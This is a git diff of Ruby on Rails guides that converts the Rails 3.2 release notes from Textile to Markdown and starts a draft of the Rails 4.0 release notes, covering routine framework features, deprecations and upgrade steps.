+* Implements `AR::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block.
+
+* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.
+
+* Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ store :settings, accessors: [ :color, :homepage ]
+ end
+
+ u = User.new(color: 'black', homepage: '37signals.com')
+ u.color # Accessor stored attribute
+ u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+ ```
+
+* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).
+
+ ```
+ rake db:migrate SCOPE=blog
+ ```
+
+* Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`.
+
+* Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes.
+
+ ```ruby
+ Client.where(:active => true).pluck(:id)
+ # SELECT id from clients where active = 1
+ ```
+
+* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name.
+
+* Add `ActiveRecord::Relation#uniq` for generating unique queries.
+
+ ```ruby
+ Client.select('DISTINCT name')
+ ```
+
+ ..can be written as:
+
+ ```ruby
+ Client.select(:name).uniq
+ ```
+
+ This also allows you to revert the uniqueness in a relation:
+
+ ```ruby
+ Client.select(:name).uniq.uniq(false)
+ ```
+
+* Support index sort order in SQLite, MySQL and PostgreSQL adapters.
+
+* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.
+
+ ```ruby
+ has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
+ ```
+
+* In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`.
+
+* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.
+
+* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.
+
+* Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_by` dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.
+
+ ```ruby
+ User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
+ ```
+
+* Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`.
+
+ This makes it possible to write the following:
+
+ ```ruby
+ class Order < ActiveRecord::Base
+ def cancel!
+ transaction do
+ lock!
+ # ... cancelling logic
+ end
+ end
+ end
+ ```
+
+ as:
+
+ ```ruby
+ class Order < ActiveRecord::Base
+ def cancel!
+ with_lock do
+ # ... cancelling logic
+ end
+ end
+ end
+ ```
+
+### Deprecations
+
+* Automatic closure of connections in threads is deprecated. For example the following code is deprecated:
+
+ ```ruby
+ Thread.new { Post.find(1) }.join
+ ```
+
+ It should be changed to close the database connection at the end of the thread:
+
+ ```ruby
+ Thread.new {
+ Post.find(1)
+ Post.connection.close
+ }.join
+ ```
+
+ Only people who spawn threads in their application code need to worry about this change.
+
+* The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`.
+
+ ```ruby
+ class Project < ActiveRecord::Base
+ self.table_name = "project"
+ end
+ ```
+
+ Or define your own `self.table_name` method:
+
+ ```ruby
+ class Post < ActiveRecord::Base
+ def self.table_name
+ "special_" + super
+ end
+ end
+
+ Post.table_name # => "special_posts"
+
+ ```
+
+Active Model
+------------
+
+* Add `ActiveModel::Errors#added?` to check if a specific error has been added.
+
+* Add ability to define strict validations with `strict => true` that always raises exception when fails.
+
+* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.
+
+### Deprecations
+
+* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated.
+
+* Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`.
+
+Active Resource
+---------------
+
+* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.
+
+Active Support
+--------------
+
+* Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities.
+
+ ```ruby
+ Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+
+ Logger.tagged("BCX") { Logger.info "Stuff" }
+ # Logs "[BCX] Stuff"
+
+ Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
+ # Logs "[BCX] [Jason] Stuff"
+
+ Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
+ # Logs "[BCX] [Jason] Stuff"
+ ```
+
+* The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start.
+
+* `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs.
+
+* Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names.
+
+* Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name.
+
+* Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist.
+
+* `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`.
+
+* Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`.
+
+* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.
+
+* The inflector understands acronyms.
+
+* Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges.
+
+ ```ruby
+ Event.where(:created_at => Time.now.all_week)
+ Event.where(:created_at => Time.now.all_day)
+ ```
+
+* Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends.
+
+* `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat.
+
+* Added `ActiveSupport::Cache::NullStore` for use in development and testing.
+
+* Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library.
+
+### Deprecations
+
+* `ActiveSupport::Base64` is deprecated in favor of `::Base64`.
+
+* Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern.
+
+* `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library.
+
+* Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`.
+
+* `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block.
+
+* `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first place.
+
+* `ActiveSupport::BufferedLogger's` behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.
+
+* `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.
+
+ ```ruby
+ f = File.open('foo.log', 'w')
+ f.sync = true
+ ActiveSupport::BufferedLogger.new f
+ ```
+
+* `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.)
diff --git a/guides/source/3_2_release_notes.textile b/guides/source/3_2_release_notes.textile
deleted file mode 100644
index 3524ea6595..0000000000
--- a/guides/source/3_2_release_notes.textile
+++ /dev/null
@@ -1,552 +0,0 @@
-h2. Ruby on Rails 3.2 Release Notes
-
-Highlights in Rails 3.2:
-
-* Faster Development Mode
-* New Routing Engine
-* Automatic Query Explains
-* Tagged Logging
-
-These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/3-2-stable in the main Rails repository on GitHub.
-
-endprologue.
-
-h3. Upgrading to Rails 3.2
-
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:
-
-h4. Rails 3.2 requires at least Ruby 1.8.7
-
-Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
-
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
-
-h4. What to update in your apps
-
-* Update your Gemfile to depend on
-** <tt>rails = 3.2.0</tt>
-** <tt>sass-rails ~> 3.2.3</tt>
-** <tt>coffee-rails ~> 3.2.1</tt>
-** <tt>uglifier >= 1.0.3</tt>
-
-* Rails 3.2 deprecates <tt>vendor/plugins</tt> and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
-
-* There are a couple of new configuration changes you'd want to add in <tt>config/environments/development.rb</tt>:
-
-<ruby>
-# Raise exception on mass assignment protection for Active Record models
-config.active_record.mass_assignment_sanitizer = :strict
-
-# Log the query plan for queries taking more than this (works
-# with SQLite, MySQL, and PostgreSQL)
-config.active_record.auto_explain_threshold_in_seconds = 0.5
-</ruby>
-
-The <tt>mass_assignment_sanitizer</tt> config also needs to be added in <tt>config/environments/test.rb</tt>:
-
-<ruby>
-# Raise exception on mass assignment protection for Active Record models
-config.active_record.mass_assignment_sanitizer = :strict
-</ruby>
-
-h4. What to update in your engines
-
-Replace the code beneath the comment in <tt>script/rails</tt> with the following content:
-
-<ruby>
-ENGINE_ROOT = File.expand_path('../..', __FILE__)
-ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
-
-require 'rails/all'
-require 'rails/engine/commands'
-</ruby>
-
-h3. Creating a Rails 3.2 application
-
-<shell>
-# You should have the 'rails' rubygem installed
-$ rails new myapp
-$ cd myapp
-</shell>
-
-h4. Vendoring Gems
-
-Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-
-More information: "Bundler homepage":http://gembundler.com
-
-h4. Living on the Edge
-
-+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
-
-<shell>
-$ rails new myapp --edge
-</shell>
-
-If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
-
-<shell>
-$ ruby /path/to/rails/railties/bin/rails new myapp --dev
-</shell>
-
-h3. Major Features
-
-h4. Faster Development Mode & Routing
-
-Rails 3.2 comes with a development mode that's noticeably faster. Inspired by "Active Reload":https://github.com/paneq/active_reload, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new "Journey":https://github.com/rails/journey engine.
-
-h4. Automatic Query Explains
-
-Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an +explain+ method in <tt>ActiveRecord::Relation</tt>. For example, you can run something like <tt>puts Person.active.limit(5).explain</tt> and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations.
-
-Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed.
-
-h4. Tagged Logging
-
-When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
-
-h3. Documentation
-
-From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.
-
-h3. Railties
-
-* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting <tt>config.reload_classes_only_on_change</tt> to false.
-
-* New applications get a flag <tt>config.active_record.auto_explain_threshold_in_seconds</tt> in the environments configuration files. With a value of <tt>0.5</tt> in <tt>development.rb</tt> and commented out in <tt>production.rb</tt>. No mention in <tt>test.rb</tt>.
-
-* Added <tt>config.exceptions_app</tt> to set the exceptions application invoked by the +ShowException+ middleware when an exception happens. Defaults to <tt>ActionDispatch::PublicExceptions.new(Rails.public_path)</tt>.
-
-* Added a <tt>DebugExceptions</tt> middleware which contains features extracted from <tt>ShowExceptions</tt> middleware.
-
-* Display mounted engines' routes in <tt>rake routes</tt>.
-
-* Allow to change the loading order of railties with <tt>config.railties_order</tt> like:
-
-<ruby>
-config.railties_order = [Blog::Engine, :main_app, :all]
-</ruby>
-
-* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.
-
-* Update <tt>Rails::Rack::Logger</tt> middleware to apply any tags set in <tt>config.log_tags</tt> to <tt>ActiveSupport::TaggedLogging</tt>. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
-
-* Default options to +rails new+ can be set in <tt>~/.railsrc</tt>. You can specify extra command-line arguments to be used every time 'rails new' runs in the <tt>.railsrc</tt> configuration file in your home directory.
-
-* Add an alias +d+ for +destroy+. This works for engines too.
-
-* Attributes on scaffold and model generators default to string. This allows the following: <tt>rails g scaffold Post title body:text author</tt>
-
-* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,
-
-<ruby>
-rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
-</ruby>
-
-will create indexes for +title+ and +author+ with the latter being an unique index. Some types such as decimal accept custom options. In the example, +price+ will be a decimal column with precision and scale set to 7 and 2 respectively.
-
-* Turn gem has been removed from default Gemfile.
-
-* Remove old plugin generator +rails generate plugin+ in favor of +rails plugin new+ command.
-
-* Remove old <tt>config.paths.app.controller</tt> API in favor of <tt>config.paths["app/controller"]</tt>.
-
-h4(#railties_deprecations). Deprecations
-
-* +Rails::Plugin+ is deprecated and will be removed in Rails 4.0. Instead of adding plugins to +vendor/plugins+ use gems or bundler with path or git dependencies.
-
-h3. Action Mailer
-
-* Upgraded <tt>mail</tt> version to 2.4.0.
-
-* Removed the old Action Mailer API which was deprecated since Rails 3.0.
-
-h3. Action Pack
-
-h4. Action Controller
-
-* Make <tt>ActiveSupport::Benchmarkable</tt> a default module for <tt>ActionController::Base,</tt> so the <tt>#benchmark</tt> method is once again available in the controller context like it used to be.
-
-* Added +:gzip+ option to +caches_page+. The default option can be configured globally using <tt>page_cache_compression</tt>.
-
-* Rails will now use your default layout (such as "layouts/application") when you specify a layout with <tt>:only</tt> and <tt>:except</tt> condition, and those conditions fail.
-
-<ruby>
-class CarsController
- layout 'single_car', :only => :show
-end
-</ruby>
-
-Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
-
-* form_for is changed to use "#{action}_#{as}" as the css class and id if +:as+ option is provided. Earlier versions used "#{as}_#{action}".
-
-* <tt>ActionController::ParamsWrapper</tt> on ActiveRecord models now only wrap <tt>attr_accessible</tt> attributes if they were set. If not, only the attributes returned by the class method +attribute_names+ will be wrapped. This fixes the wrapping of nested attributes by adding them to +attr_accessible+.
-
-* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.
-
-* <tt>ActionDispatch::ShowExceptions</tt> is refactored. The controller is responsible for choosing to show exceptions. It's possible to override +show_detailed_exceptions?+ in controllers to specify which requests should provide debugging information on errors.
-
-* Responders now return 204 No Content for API requests without a response body (as in the new scaffold).
-
-* <tt>ActionController::TestCase</tt> cookies is refactored. Assigning cookies for test cases should now use <tt>cookies[]</tt>
-
-<ruby>
-cookies[:email] = 'user@example.com'
-get :index
-assert_equal 'user@example.com', cookies[:email]
-</ruby>
-
-To clear the cookies, use +clear+.
-
-<ruby>
-cookies.clear
-get :index
-assert_nil cookies[:email]
-</ruby>
-
-We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.
-
-* <tt>send_file</tt> now guesses the MIME type from the file extension if +:type+ is not provided.
-
-* MIME type entries for PDF, ZIP and other formats were added.
-
-* Allow fresh_when/stale? to take a record instead of an options hash.
-
-* Changed log level of warning for missing CSRF token from <tt>:debug</tt> to <tt>:warn</tt>.
-
-* Assets should use the request protocol by default or default to relative if no request is available.
-
-h5(#actioncontroller_deprecations). Deprecations
-
-* Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
-
-<ruby>
-class ApplicationController
- layout "application"
-end
-
-class PostsController < ApplicationController
-end
-</ruby>
-
-In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove <tt>layout "application"</tt> from +ApplicationController+ or explicitly set it to +nil+ in +PostsController+.
-
-* Deprecated <tt>ActionController::UnknownAction</tt> in favour of <tt>AbstractController::ActionNotFound</tt>.
-
-* Deprecated <tt>ActionController::DoubleRenderError</tt> in favour of <tt>AbstractController::DoubleRenderError</tt>.
-
-* Deprecated <tt>method_missing</tt> in favour of +action_missing+ for missing actions.
-
-* Deprecated <tt>ActionController#rescue_action</tt>, <tt>ActionController#initialize_template_class</tt> and <tt>ActionController#assign_shortcuts</tt>.
-
-h4. Action Dispatch
-
-* Add <tt>config.action_dispatch.default_charset</tt> to configure default charset for <tt>ActionDispatch::Response</tt>.
-
-* Added <tt>ActionDispatch::RequestId</tt> middleware that'll make a unique X-Request-Id header available to the response and enables the <tt>ActionDispatch::Request#uuid</tt> method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
-
-* The <tt>ShowExceptions</tt> middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in +env["action_dispatch.exception"]+ and with the <tt>PATH_INFO</tt> rewritten to the status code.
-
-* Allow rescue responses to be configured through a railtie as in <tt>config.action_dispatch.rescue_responses</tt>.
-
-h5(#actiondispatch_deprecations). Deprecations
-
-* Deprecated the ability to set a default charset at the controller level, use the new <tt>config.action_dispatch.default_charset</tt> instead.
-
-h4. Action View
-
-* Add +button_tag+ support to <tt>ActionView::Helpers::FormBuilder</tt>. This support mimics the default behavior of +submit_tag+.
-
-<ruby>
-<%= form_for @post do |f| %>
- <%= f.button %>
-<% end %>
-</ruby>
-
-* Date helpers accept a new option <tt>:use_two_digit_numbers => true</tt>, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.
-
-* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
-
-<ruby>
-<%= form_for(@offer, :namespace => 'namespace') do |f| %>
- <%= f.label :version, 'Version' %>:
- <%= f.text_field :version %>
-<% end %>
-</ruby>
-
-* Limit the number of options for +select_year+ to 1000. Pass +:max_years_allowed+ option to set your own limit.
-
-* +content_tag_for+ and +div_for+ can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:
-
-<ruby>
-@items.each do |item|
- content_tag_for(:li, item) do
- Title: <%= item.title %>
- end
-end
-</ruby>
-
-You can do this:
-
-<ruby>
-content_tag_for(:li, @items) do |item|
- Title: <%= item.title %>
-end
-</ruby>
-
-* Added +font_path+ helper method that computes the path to a font asset in <tt>public/fonts</tt>.
-
-h5(#actionview_deprecations). Deprecations
-
-* Passing formats or handlers to render :template and friends like <tt>render :template => "foo.html.erb"</tt> is deprecated. Instead, you can provide :handlers and :formats directly as options: <tt> render :template => "foo", :formats => [:html, :js], :handlers => :erb</tt>.
-
-h4. Sprockets
-
-* Adds a configuration option <tt>config.assets.logger</tt> to control Sprockets logging. Set it to +false+ to turn off logging and to +nil+ to default to +Rails.logger+.
-
-h3. Active Record
-
-* Boolean columns with 'on' and 'ON' values are type cast to true.
-
-* When the +timestamps+ method creates the +created_at+ and +updated_at+ columns, it makes them non-nullable by default.
-
-* Implemented <tt>ActiveRecord::Relation#explain</tt>.
-
-* Implements <tt>AR::Base.silence_auto_explain</tt> which allows the user to selectively disable automatic EXPLAINs within a block.
-
-* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter +config.active_record.auto_explain_threshold_in_seconds+ determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.
-
-* Added <tt>ActiveRecord::Base.store</tt> for declaring simple single-column key/value stores.
-
-<ruby>
-class User < ActiveRecord::Base
- store :settings, accessors: [ :color, :homepage ]
-end
-
-u = User.new(color: 'black', homepage: '37signals.com')
-u.color # Accessor stored attribute
-u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
-</ruby>
-
-* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).
-
-<ruby>
-rake db:migrate SCOPE=blog
-</ruby>
-
-* Migrations copied from engines are now scoped with engine's name, for example <tt>01_create_posts.blog.rb</tt>.
-
-* Implemented <tt>ActiveRecord::Relation#pluck</tt> method that returns an array of column values directly from the underlying table. This also works with serialized attributes.
-
-<ruby>
-Client.where(:active => true).pluck(:id)
-# SELECT id from clients where active = 1
-</ruby>
-
-* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named <tt>MyModel::GeneratedFeatureMethods</tt>. It is included into the model class immediately after the +generated_attributes_methods+ module defined in Active Model, so association methods override attribute methods of the same name.
-
-* Add <tt>ActiveRecord::Relation#uniq</tt> for generating unique queries.
-
-<ruby>
-Client.select('DISTINCT name')
-</ruby>
-
-..can be written as:
-
-<ruby>
-Client.select(:name).uniq
-</ruby>
-
-This also allows you to revert the uniqueness in a relation:
-
-<ruby>
-Client.select(:name).uniq.uniq(false)
-</ruby>
-
-* Support index sort order in SQLite, MySQL and PostgreSQL adapters.
-
-* Allow the +:class_name+ option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.
-
-<ruby>
-has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
-</ruby>
-
-* In development mode, <tt>db:drop</tt> also drops the test database in order to be symmetric with <tt>db:create</tt>.
-
-* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.
-
-* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.
-
-* Add +first_or_create+, +first_or_create!+, +first_or_initialize+ methods to Active Record. This is a better approach over the old +find_or_create_by+ dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.
-
-<ruby>
-User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
-</ruby>
-
-* Added a <tt>with_lock</tt> method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to +lock!+.
-
-This makes it possible to write the following:
-
-<ruby>
-class Order < ActiveRecord::Base
- def cancel!
- transaction do
- lock!
- # ... cancelling logic
- end
- end
-end
-</ruby>
-
-as:
-
-<ruby>
-class Order < ActiveRecord::Base
- def cancel!
- with_lock do
- # ... cancelling logic
- end
- end
-end
-</ruby>
-
-h4(#activerecord_deprecations). Deprecations
-
-* Automatic closure of connections in threads is deprecated. For example the following code is deprecated:
-
-<ruby>
-Thread.new { Post.find(1) }.join
-</ruby>
-
-It should be changed to close the database connection at the end of the thread:
-
-<ruby>
-Thread.new {
- Post.find(1)
- Post.connection.close
-}.join
-</ruby>
-
-Only people who spawn threads in their application code need to worry about this change.
-
-* The +set_table_name+, +set_inheritance_column+, +set_sequence_name+, +set_primary_key+, +set_locking_column+ methods are deprecated. Use an assignment method instead. For example, instead of +set_table_name+, use <tt>self.table_name=</tt>.
-
-<ruby>
-class Project < ActiveRecord::Base
- self.table_name = "project"
-end
-</ruby>
-
-Or define your own <tt>self.table_name</tt> method:
-
-<ruby>
-class Post < ActiveRecord::Base
- def self.table_name
- "special_" + super
- end
-end
-
-Post.table_name # => "special_posts"
-
-</ruby>
-
-h3. Active Model
-
-* Add <tt>ActiveModel::Errors#added?</tt> to check if a specific error has been added.
-
-* Add ability to define strict validations with <tt>strict => true</tt> that always raises exception when fails.
-
-* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.
-
-h4(#activemodel_deprecations). Deprecations
-
-* Deprecated <tt>define_attr_method</tt> in <tt>ActiveModel::AttributeMethods</tt> because this only existed to support methods like +set_table_name+ in Active Record, which are themselves being deprecated.
-
-* Deprecated <tt>Model.model_name.partial_path</tt> in favor of <tt>model.to_partial_path</tt>.
-
-h3. Active Resource
-
-* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.
-
-h3. Active Support
-
-* Added <tt>ActiveSupport:TaggedLogging</tt> that can wrap any standard +Logger+ class to provide tagging capabilities.
-
-<ruby>
-Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
-
-Logger.tagged("BCX") { Logger.info "Stuff" }
-# Logs "[BCX] Stuff"
-
-Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
-# Logs "[BCX] [Jason] Stuff"
-
-Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
-# Logs "[BCX] [Jason] Stuff"
-</ruby>
-
-* The +beginning_of_week+ method in +Date+, +Time+ and +DateTime+ accepts an optional argument representing the day in which the week is assumed to start.
-
-* <tt>ActiveSupport::Notifications.subscribed</tt> provides subscriptions to events while a block runs.
-
-* Defined new methods <tt>Module#qualified_const_defined?</tt>, <tt>Module#qualified_const_get</tt> and <tt>Module#qualified_const_set</tt> that are analogous to the corresponding methods in the standard API, but accept qualified constant names.
-
-* Added +#deconstantize+ which complements +#demodulize+ in inflections. This removes the rightmost segment in a qualified constant name.
-
-* Added <tt>safe_constantize</tt> that constantizes a string but returns +nil+ instead of raising an exception if the constant (or part of it) does not exist.
-
-* <tt>ActiveSupport::OrderedHash</tt> is now marked as extractable when using <tt>Array#extract_options!</tt>.
-
-* Added <tt>Array#prepend</tt> as an alias for <tt>Array#unshift</tt> and <tt>Array#append</tt> as an alias for <tt>Array#<<</tt>.
-
-* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U+3000 is considered to be whitespace.
-
-* The inflector understands acronyms.
-
-* Added <tt>Time#all_day</tt>, <tt>Time#all_week</tt>, <tt>Time#all_quarter</tt> and <tt>Time#all_year</tt> as a way of generating ranges.
-
-<ruby>
-Event.where(:created_at => Time.now.all_week)
-Event.where(:created_at => Time.now.all_day)
-</ruby>
-
-* Added <tt>instance_accessor: false</tt> as an option to <tt>Class#cattr_accessor</tt> and friends.
-
-* <tt>ActiveSupport::OrderedHash</tt> now has different behavior for <tt>#each</tt> and <tt>#each_pair</tt> when given a block accepting its parameters with a splat.
-
-* Added <tt>ActiveSupport::Cache::NullStore</tt> for use in development and testing.
-
-* Removed <tt>ActiveSupport::SecureRandom</tt> in favor of <tt>SecureRandom</tt> from the standard library.
-
-h4(#activesupport_deprecations). Deprecations
-
-* +ActiveSupport::Base64+ is deprecated in favor of <tt>::Base64</tt>.
-
-* Deprecated <tt>ActiveSupport::Memoizable</tt> in favor of Ruby memoization pattern.
-
-* <tt>Module#synchronize</tt> is deprecated with no replacement. Please use monitor from ruby's standard library.
-
-* Deprecated <tt>ActiveSupport::MessageEncryptor#encrypt</tt> and <tt>ActiveSupport::MessageEncryptor#decrypt</tt>.
-
-* <tt>ActiveSupport::BufferedLogger#silence</tt> is deprecated. If you want to squelch logs for a certain block, change the log level for that block.
-
-* <tt>ActiveSupport::BufferedLogger#open_log</tt> is deprecated. This method should not have been public in the first place.
-
-* <tt>ActiveSupport::BufferedLogger's</tt> behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.
-
-* <tt>ActiveSupport::BufferedLogger#auto_flushing</tt> is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.
-
-<ruby>
-f = File.open('foo.log', 'w')
-f.sync = true
-ActiveSupport::BufferedLogger.new f
-</ruby>
-
-* <tt>ActiveSupport::BufferedLogger#flush</tt> is deprecated. Set sync on your filehandle, or tune your filesystem.
-
-h3. Credits
-
-See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
-
-Rails 3.2 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev.
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
new file mode 100644
index 0000000000..c3921ea541
--- /dev/null
+++ b/guides/source/4_0_release_notes.md
@@ -0,0 +1,876 @@
+Ruby on Rails 4.0 Release Notes
+===============================
+
+Highlights in Rails 4.0: (WIP)
+
+* Ruby 1.9.3 only
+* Strong Parameters
+* Queue API
+* Caching Improvements
+
+These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.0
+----------------------
+
+TODO. This is a WIP guide.
+
